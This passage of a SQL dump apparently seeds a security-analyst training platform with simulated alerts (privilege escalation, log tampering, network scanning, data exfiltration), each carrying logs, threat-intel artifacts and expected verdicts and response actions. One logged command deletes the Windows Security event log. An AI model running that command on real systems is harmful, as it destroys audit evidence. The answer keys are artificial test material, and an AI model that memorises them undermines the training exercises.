4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:37Z\\\",\\\"event_id\\\":\\\"EXF-20231015-002\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTP\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(330, 'Privilege Escalation Detected', 'high', 'Access Logs', 'Unauthorized attempts to escalate privileges within the network were detected, indicating that the attacker is attempting to gain elevated access.', 'Privilege Escalation', 'T1068', 1, 'Closed', 189, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"username\":\"john_doe\",\"attempted_privilege\":\"Administrator\",\"previous_privilege\":\"Standard User\",\"process\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"hash\":\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\",\"status\":\"Failed\",\"message\":\"Privilege escalation attempt detected for user john_doe from IP 203.0.113.45.\"}', '2026-01-02 20:29:44', '2026-03-09 03:10:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account involved in previous suspicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of a known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"john_doe\\\",\\\"attempted_privilege\\\":\\\"Administrator\\\",\\\"previous_privilege\\\":\\\"Standard User\\\",\\\"process\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"hash\\\":\\\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\\\",\\\"status\\\":\\\"Failed\\\",\\\"message\\\":\\\"Privilege escalation attempt detected for user john_doe from IP 203.0.113.45.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"john_doe\\\",\\\"attempted_privilege\\\":\\\"Administrator\\\",\\\"previous_privilege\\\":\\\"Standard User\\\",\\\"process\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"hash\\\":\\\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\\\",\\\"status\\\":\\\"Failed\\\",\\\"message\\\":\\\"Privilege escalation attempt detected for user john_doe from IP 203.0.113.45.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"john_doe\\\",\\\"attempted_privilege\\\":\\\"Administrator\\\",\\\"previous_privilege\\\":\\\"Standard User\\\",\\\"process\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"hash\\\":\\\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\\\",\\\"status\\\":\\\"Failed\\\",\\\"message\\\":\\\"Privilege escalation attempt detected for user john_doe from IP 203.0.113.45.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"john_doe\\\",\\\"attempted_privilege\\\":\\\"Administrator\\\",\\\"previous_privilege\\\":\\\"Standard User\\\",\\\"process\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"hash\\\":\\\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\\\",\\\"status\\\":\\\"Failed\\\",\\\"message\\\":\\\"Privilege escalation attempt detected for user john_doe from IP 203.0.113.45.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"john_doe\\\",\\\"attempted_privilege\\\":\\\"Administrator\\\",\\\"previous_privilege\\\":\\\"Standard User\\\",\\\"process\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"hash\\\":\\\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\\\",\\\"status\\\":\\\"Failed\\\",\\\"message\\\":\\\"Privilege escalation attempt detected for user john_doe from IP 203.0.113.45.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(331, 'Attempt to Cover Tracks Detected', 'high', 'Log Monitoring System', 'An advanced attack has been detected where log files are being tampered with, indicating an attempt to erase evidence of an attack.', 'Defense Evasion', 'T1070.004 - File Deletion', 1, 'new', 189, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"event_id\":\"4625\",\"system\":{\"hostname\":\"server01.internal.local\",\"ip_address\":\"192.168.1.15\"},\"user\":{\"username\":\"attacker_user\",\"user_id\":\"S-1-5-21-3623811015-3361044348-30300820-1013\"},\"action\":\"Delete\",\"target_file\":\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\",\"process\":{\"name\":\"cmd.exe\",\"id\":\"5604\",\"command_line\":\"cmd.exe /c del C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\"},\"network\":{\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"protocol\":\"TCP\",\"port\":\"445\"},\"hash\":{\"algorithm\":\"SHA256\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\"}}', '2026-01-02 20:29:44', '2026-03-09 03:10:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with multiple attack campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity detected for this hash.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"Username associated with unauthorized access attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.925Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"system\\\":{\\\"hostname\\\":\\\"server01.internal.local\\\",\\\"ip_address\\\":\\\"192.168.1.15\\\"},\\\"user\\\":{\\\"username\\\":\\\"attacker_user\\\",\\\"user_id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"action\\\":\\\"Delete\\\",\\\"target_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process\\\":{\\\"name\\\":\\\"cmd.exe\\\",\\\"id\\\":\\\"5604\\\",\\\"command_line\\\":\\\"cmd.exe /c del C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":\\\"445\\\"},\\\"hash\\\":{\\\"algorithm\\\":\\\"SHA256\\\",\\\"value\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:18.925Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"system\\\":{\\\"hostname\\\":\\\"server01.internal.local\\\",\\\"ip_address\\\":\\\"192.168.1.15\\\"},\\\"user\\\":{\\\"username\\\":\\\"attacker_user\\\",\\\"user_id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"action\\\":\\\"Delete\\\",\\\"target_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process\\\":{\\\"name\\\":\\\"cmd.exe\\\",\\\"id\\\":\\\"5604\\\",\\\"command_line\\\":\\\"cmd.exe /c del C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":\\\"445\\\"},\\\"hash\\\":{\\\"algorithm\\\":\\\"SHA256\\\",\\\"value\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:18.925Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"system\\\":{\\\"hostname\\\":\\\"server01.internal.local\\\",\\\"ip_address\\\":\\\"192.168.1.15\\\"},\\\"user\\\":{\\\"username\\\":\\\"attacker_user\\\",\\\"user_id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"action\\\":\\\"Delete\\\",\\\"target_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process\\\":{\\\"name\\\":\\\"cmd.exe\\\",\\\"id\\\":\\\"5604\\\",\\\"command_line\\\":\\\"cmd.exe /c del C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":\\\"445\\\"},\\\"hash\\\":{\\\"algorithm\\\":\\\"SHA256\\\",\\\"value\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:18.925Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"system\\\":{\\\"hostname\\\":\\\"server01.internal.local\\\",\\\"ip_address\\\":\\\"192.168.1.15\\\"},\\\"user\\\":{\\\"username\\\":\\\"attacker_user\\\",\\\"user_id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"action\\\":\\\"Delete\\\",\\\"target_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process\\\":{\\\"name\\\":\\\"cmd.exe\\\",\\\"id\\\":\\\"5604\\\",\\\"command_line\\\":\\\"cmd.exe /c del C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":\\\"445\\\"},\\\"hash\\\":{\\\"algorithm\\\":\\\"SHA256\\\",\\\"value\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:18.925Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"system\\\":{\\\"hostname\\\":\\\"server01.internal.local\\\",\\\"ip_address\\\":\\\"192.168.1.15\\\"},\\\"user\\\":{\\\"username\\\":\\\"attacker_user\\\",\\\"user_id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\"},\\\"action\\\":\\\"Delete\\\",\\\"target_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"process\\\":{\\\"name\\\":\\\"cmd.exe\\\",\\\"id\\\":\\\"5604\\\",\\\"command_line\\\":\\\"cmd.exe /c del C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":\\\"445\\\"},\\\"hash\\\":{\\\"algorithm\\\":\\\"SHA256\\\",\\\"value\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(332, 'Internal Reconnaissance Detected', 'high', 'SIEM Alerts', 'The attacker performs scans and probes to map out the network and identify further targets. Advanced techniques were used to evade detection during reconnaissance activities.', 'Reconnaissance', 'T1046: Network Service Scanning', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:17Z\",\"event_id\":\"rec-2023-00123\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.105\",\"scanned_ports\":[22,80,443,445],\"protocol\":\"TCP\",\"detected_tool\":\"nmap\",\"username\":\"admin\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"action\":\"network_scan\",\"outcome\":\"success\"}', '2026-01-02 20:29:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP associated with known scanning activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by scan.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with reconnaissance tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.926Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"rec-2023-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"scanned_ports\\\":[22,80,443,445],\\\"protocol\\\":\\\"TCP\\\",\\\"detected_tool\\\":\\\"nmap\\\",\\\"username\\\":\\\"admin\\\",\\\"hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"network_scan\\\",\\\"outcome\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.926Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"rec-2023-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"scanned_ports\\\":[22,80,443,445],\\\"protocol\\\":\\\"TCP\\\",\\\"detected_tool\\\":\\\"nmap\\\",\\\"username\\\":\\\"admin\\\",\\\"hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"network_scan\\\",\\\"outcome\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.926Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"rec-2023-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"scanned_ports\\\":[22,80,443,445],\\\"protocol\\\":\\\"TCP\\\",\\\"detected_tool\\\":\\\"nmap\\\",\\\"username\\\":\\\"admin\\\",\\\"hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"network_scan\\\",\\\"outcome\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.926Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"rec-2023-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"scanned_ports\\\":[22,80,443,445],\\\"protocol\\\":\\\"TCP\\\",\\\"detected_tool\\\":\\\"nmap\\\",\\\"username\\\":\\\"admin\\\",\\\"hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"network_scan\\\",\\\"outcome\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.926Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"rec-2023-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"scanned_ports\\\":[22,80,443,445],\\\"protocol\\\":\\\"TCP\\\",\\\"detected_tool\\\":\\\"nmap\\\",\\\"username\\\":\\\"admin\\\",\\\"hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"network_scan\\\",\\\"outcome\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(333, 'Final Data Extraction Detected', 'critical', 'Data Exfiltration Monitoring', 'Large volumes of data are prepared for final exfiltration, marking the conclusion of the attack operation. Data transfer detected from internal network to an external IP linked with known malicious activity.', 'Exfiltration', 'T1020', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-03T14:45:00Z\",\"internal_ip\":\"10.0.0.15\",\"external_ip\":\"203.0.113.99\",\"user\":\"jdoe\",\"filename\":\"confidential_data.zip\",\"file_hash\":\"3b5d5c3712955042212316173ccf37be\",\"protocol\":\"HTTPS\",\"action\":\"Data Transfer\",\"bytes_transferred\":104857600,\"indicator_of_compromise\":true}', '2026-01-02 20:29:44', '2026-02-18 15:16:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b5d5c3712955042212316173ccf37be\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"suspicious\",\"details\":\"File hash found in recent suspicious activity reports.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"Filename matches naming pattern of sensitive data archives.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"user_activity\",\"verdict\":\"suspicious\",\"details\":\"User account has been flagged for unusual activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.927Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:45:00Z\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"203.0.113.99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"bytes_transferred\\\":104857600,\\\"indicator_of_compromise\\\":true}\"},{\"timestamp\":\"2026-02-01T20:31:18.927Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:45:00Z\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"203.0.113.99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"bytes_transferred\\\":104857600,\\\"indicator_of_compromise\\\":true}\"},{\"timestamp\":\"2026-02-01T20:30:18.927Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:45:00Z\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"203.0.113.99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"bytes_transferred\\\":104857600,\\\"indicator_of_compromise\\\":true}\"},{\"timestamp\":\"2026-02-01T20:29:18.927Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:45:00Z\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"203.0.113.99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"bytes_transferred\\\":104857600,\\\"indicator_of_compromise\\\":true}\"},{\"timestamp\":\"2026-02-01T20:28:18.927Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-03T14:45:00Z\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"external_ip\\\":\\\"203.0.113.99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"bytes_transferred\\\":104857600,\\\"indicator_of_compromise\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
